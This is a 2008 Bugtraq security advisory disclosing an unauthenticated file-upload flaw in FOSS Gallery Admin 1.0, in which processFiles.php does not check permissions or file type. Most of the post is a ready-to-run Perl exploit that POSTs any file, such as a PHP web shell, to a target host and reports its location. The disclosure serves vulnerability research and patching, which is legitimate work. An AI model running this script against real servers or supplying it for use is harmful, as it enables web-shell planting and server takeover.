FOSS Gallery Admin Version <= 1.0 / Remote Arbitrary Upload Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugtraq-owner@xxxxxxxxxxxxxxxxx
- Subject: FOSS Gallery Admin Version <= 1.0 / Remote Arbitrary Upload Vulnerability
- From: Pepelux <pepelux@xxxxxxxxxxxx>
- Date: Sun, 5 Oct 2008 02:30:48 +0200
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:sender :to:subject:mime-version:content-type:content-transfer-encoding :content-disposition:x-google-sender-auth; bh=sJTEqsQbtzA2TswMM/46TkU5pvlNBBwDEHkUeTafQtY=; b=NUy6Rf3SVVIFqDz+skt4RSWVoX/v8ROKKyRJyuEm8VWTp/DROoym1FlWVRFSjmPnX6 HolkCWgFs8tL3iuymbs6mSl+rbbzW5h5G/6wsELRkyOPyIv61RCEokXvgCxWu58nFfhv EsWEMCYEg520TZ4lQe8O3Jg9wRqRmHSFRwejM=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:sender:to:subject:mime-version:content-type :content-transfer-encoding:content-disposition:x-google-sender-auth; b=nbiYoeMLpO3fQkRjwlHfRCC1+Xv8PxIUZvR4jAVANcjCl4NSIbKgVdwob5W7/piGYj Us2BC/NKJcLdTGNsSy8Nz3dYFipQQyw8rVL/2QJsoue4L0toS68w32AMVkfV61vzaAf6 DpXdY+pvAd1upz+30hkoimxXjVbXvYSdOfjxg=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
- Sender: pepeluxx@xxxxxxxxx
#! /usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# FOSS Gallery Admin Version <= 1.0 / Remote Arbitrary Upload Vulnerability
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Program: FOSS Gallery Admin Version
# Version: <= 1.0
# File affected: processFiles.php
# Download: http://sourceforge.net/projects/fossgallery/
#
#
# Found by Pepelux <pepelux[at]enye-sec.org>
# eNYe-Sec - www.enye-sec.org
#
# Upload images is only allowed to the admin but the process to upload has
# 3 steps (with 3 pages). only the first page check the user permissions.
#
# STEPS:
# uploadForm1.php -> ask for the number of files you wish to upload
# uploadForm2.php -> ask for the files to upload
# processFiles.php -> process the file(s)
#
# Also image format is not validated and you can upload any file.
#
# You can POST directly in the 3th step (processFiles.php):
# - uploadNeed = 1 ... we only need to upload 1 file
# - uploadFile0 = shell.php ... the file to upload
use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Headers;
my ($host, $file) = @ARGV ;
unless($ARGV[1]){
print "\nUsage: perl $0 <host> <file_to_upload>\n";
print "\tex: perl $0 http://localhost shell.php\n\n";
exit 1;
}
$host = 'http://'.$host if ($host !~ /^http:/);
$host .= "/" if ($host !~ /\/\$/);
my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)
Gecko/2008072820 Firefox/3.0.1");
$ua->timeout(10);
my $request = HTTP::Request->new();
my $response;
my $header;
my $url = $host."processFiles.php";
$response = $ua->request(POST $url, Content_Type => 'form-data',
Content => [ uploadNeed => "1",
uploadFile0 => [$file]]);
$content = $response->content;
if ($content =~ /uploaded sucessful/) { print "\nExploited
sucessfully. File located in:\n".$host.$file."\n"; }
else { print "\nExploit failed\n"; }
exit;